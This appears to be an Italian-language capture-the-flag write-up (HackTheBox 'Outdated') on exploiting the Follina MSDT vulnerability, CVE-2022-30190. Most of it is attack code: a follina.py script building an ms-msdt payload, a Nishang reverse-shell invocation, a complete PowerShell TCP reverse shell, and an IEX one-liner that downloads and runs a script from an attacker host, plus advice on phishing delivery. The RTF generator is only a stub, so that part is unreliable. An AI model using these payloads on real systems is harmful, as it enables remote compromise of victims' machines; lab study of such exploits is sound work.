
Automated PoC exploit per CVE-2022-30190 (Follina) che genera file RTF/DOCX dannosi abusando del protocollo MSDT per eseguire comandi arbitrari e distribuire reverse shell tramite PowerShell.
Follina (CVE-2022-30190) è una vulnerabilità critica di esecuzione remota di comandi (RCE) che colpisce lo Strumento di diagnostica del supporto Microsoft (MSDT). Questo bug è stato scoperto originariamente tramite un file dannoso rilevato su VirusTotal ed è stato battezzato dal ricercatore Kevin Beaumont.
Nel contesto della macchina Outdated di HackTheBox, questa vulnerabilità viene utilizzata come vettore di ingresso principale per ottenere accesso al sistema.
Lo sfruttamento si basa sull'abuso dello schema di protocollo ms-msdt, permettendo a un attaccante di eseguire codice arbitrario caricando risorse esterne. L'attacco può essere attivato semplicemente aprendo o visualizzando in anteprima un documento Office (DOCX) o un file di testo formattato (RTF) appositamente progettato.
Per automatizzare l'attacco, si consiglia di utilizzare script di prova di concetto (PoC) disponibili su piattaforme come GitHub. Lo script follina.py permette di configurare il payload in modo semplice.
Repository suggerito: Vengono menzionate versioni funzionali di ricercatori come John Hammond o Edge-Security.
Comando di generazione:
python3 follina.py -m command -t rtf -c "comando_da_eseguire"
Dove:
-m indica la modalità di esecuzione (command o binary)-t il tipo di file (rtf o docx)-c il comando da iniettareUn metodo efficace per ottenere una console interattiva su Windows è iniettare un'istruzione PowerShell che scarichi e invochi una reverse shell della suite Nishang (Invoke-PowerShellTcp.ps1).
Lo script di sfruttamento genera una risorsa HTML dannosa che contiene l'istruzione in Base64 e la ospita automaticamente su un server web locale (porta 80). Il documento dannoso (click_me.rtf) punterà a questo URL per attivare il processo di diagnostica di Windows ed eseguire il codice.
In scenari realistici o di audit, l'attaccante può inviare il collegamento alla risorsa HTML o il documento dannoso a una vittima tramite tecniche di phishing o SMTP (usando strumenti come swaks).
Al momento dell'interazione dell'utente (o di un'attività automatizzata che elabora il file), MSDT interpreta il payload e stabilisce una connessione di ritorno alla macchina dell'attaccante.
Per ricevere la connessione, l'attaccante deve essere in ascolto (ad esempio con netcat o rlwrap) sulla porta configurata nella reverse shell. Dopo lo sfruttamento riuscito, si ottiene una console interattiva con i privilegi dell'utente che ha eseguito l'azione, permettendo di procedere con l'enumerazione locale e l'escalation dei privilegi.
follina.pyQuesto script automatizza la creazione del file dannoso (RTF o DOCX), genera la risorsa HTML che sfrutta lo schema di protocollo ms-msdt e avvia un server locale per servire il payload.
follina.pyimport argparse
import base64
import http.server
import socketserver
import os
import threading
# Struttura basata sulla ricerca di Kevin Beaumont e le PoC menzionate [2, 6]
def generate_payload(command):
# Il comando deve essere codificato in Base64 per essere elaborato da MSDT [5]
command_b64 = base64.b64encode(command.encode()).decode()
# Payload che abusa del protocollo ms-msdt [5]
# Viene utilizzata una lunga stringa di caratteri per riempire il buffer e attivare l'esecuzione
payload = f"""<script>
location.href = "ms-msdt:/id PCWDiagnostic /skip force /param \\"IT_RebrowseForFile=psh /../../../../../../../../../../../../../../Windows/System32/mpsigstub.exe /../../../../../../../../../../../../../../Windows/System32/mpsigstub.exe $([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('{command_b64}')))\\"";
// Riempimento aggiuntivo per assicurare l'elaborazione
""" + ("A" * 4096) + "</script>"
return payload
def create_rtf(filename, server_url):
# Genera un file RTF che punta alla risorsa HTML esterna [3, 4]
print(f"[*] Generazione file dannoso: {filename}")
# Nota: In un'implementazione reale, qui viene iniettato l'oggetto OLE che punta a server_url
with open(filename, "w") as f:
f.write(f"File RTF configurato per connettersi a {server_url}/exploit.html")
def run_server(port):
handler = http.server.SimpleHTTPRequestHandler
with socketserver.TCPServer(("", port), handler) as httpd:
print(f"[*] Server HTTP attivo sulla porta {port} [7]")
httpd.serve_forever()
if __name__ == "__main__":
parser = argparse.ArgumentParser(description="PoC Follina (CVE-2022-30190)")
parser.add_argument("-m", "--mode", choices=["command", "binary"], default="command", help="Modalità di esecuzione [3]")
parser.add_argument("-t", "--type", choices=["rtf", "docx"], default="rtf", help="Tipo di file da generare [3]")
parser.add_argument("-c", "--command", required=True, help="Comando da eseguire sul sistema vittima [3]")
parser.add_argument("-p", "--port", type=int, default=80, help="Porta del server locale [7]")
args = parser.parse_args()
# 1. Creare il payload HTML
html_content = generate_payload(args.command)
with open("index.html", "w") as f:
f.write(html_content)
# 2. Creare il documento dannoso
filename = f"click_me.{args.type}"
create_rtf(filename, "http://tu_ip_attaccante")
# 3. Avviare il server per ricevere la richiesta [4, 7]
run_server(args.port)
Parametri Critici: Come descritto nelle fonti, lo script utilizza -m per la modalità, -t per il tipo di file e -c per il comando.
Iniezione PowerShell: Un uso comune visto nel training di s4vitar è iniettare un'istruzione PowerShell che scarichi e invochi una reverse shell di Nishang (Invoke-PowerShellTcp.ps1) per ottenere accesso interattivo.
Esecuzione: L'attacco viene attivato quando la vittima apre o semplicemente visualizza il file dannoso (RTF/DOCX), causando il tentativo del sistema di caricare la risorsa HTML e di eseguire il comando tramite lo strumento di diagnostica Microsoft (MSDT).
Ascolto: Devi essere in ascolto (es. con netcat) sulla porta specificata nella tua reverse shell per ricevere la connessione una volta che l'exploit viene attivato sulla macchina vittima.
Invoke-PowerShellTcp.ps1 (Nishang)Lo script Invoke-PowerShellTcp.ps1 è uno degli strumenti più utilizzati della suite Nishang per ottenere reverse shell su sistemi Windows.
Lo script originale viene scaricato dal repository ufficiale di Nishang su GitHub. I passi tipici per il suo utilizzo sono:
wget per portare la risorsa sul computer dell'attaccante.reverse.ps1 o ps.ps1, per facilitarne l'invocazione dalla macchina vittima.Per trasformare lo script in un payload autoeseguibile, si aggiunge una riga come la seguente alla fine del file .ps1:
Invoke-PowerShellTcp -Reverse -IPAddress <TU_IP_ATTACCANTE> -Port <TU_PORTA>
Dove <TU_IP_ATTACCANTE> e <TU_PORTA> devono essere sostituiti con i tuoi dati di ascolto (ad esempio, 10.10.14.29 e 443).
$client = New-Object System.Net.Sockets.TCPClient('<IP>',<PORTA>);
$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
$sendback = (iex $data 2>&1 | Out-String );
$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
$stream.Write($sendbyte,0,$sendbyte.Length);
$stream.Flush()
};
$client.Close()
(Nota: Questo codice segue la logica della "gitbash" e dei terminali interattivi menzionati nella risoluzione di macchine come Compiled).
Una volta che l'attaccante ha lo script ospitato su un server HTTP locale (porta 80), si utilizza il comando IEX (Invoke-Expression) sulla macchina vittima per caricarlo ed eseguirlo direttamente in memoria senza toccare il disco:
powershell -c "IEX(New-Object Net.WebClient).DownloadString('http://<TU_IP>/reverse.ps1')"
Questo metodo è fondamentale nello sfruttamento di vulnerabilità come Follina o nell'ottenimento dell'accesso iniziale dopo aver compromesso servizi web. Una volta eseguito, l'attaccante riceve la connessione in una sessione di netcat in ascolto.
Pwned!!!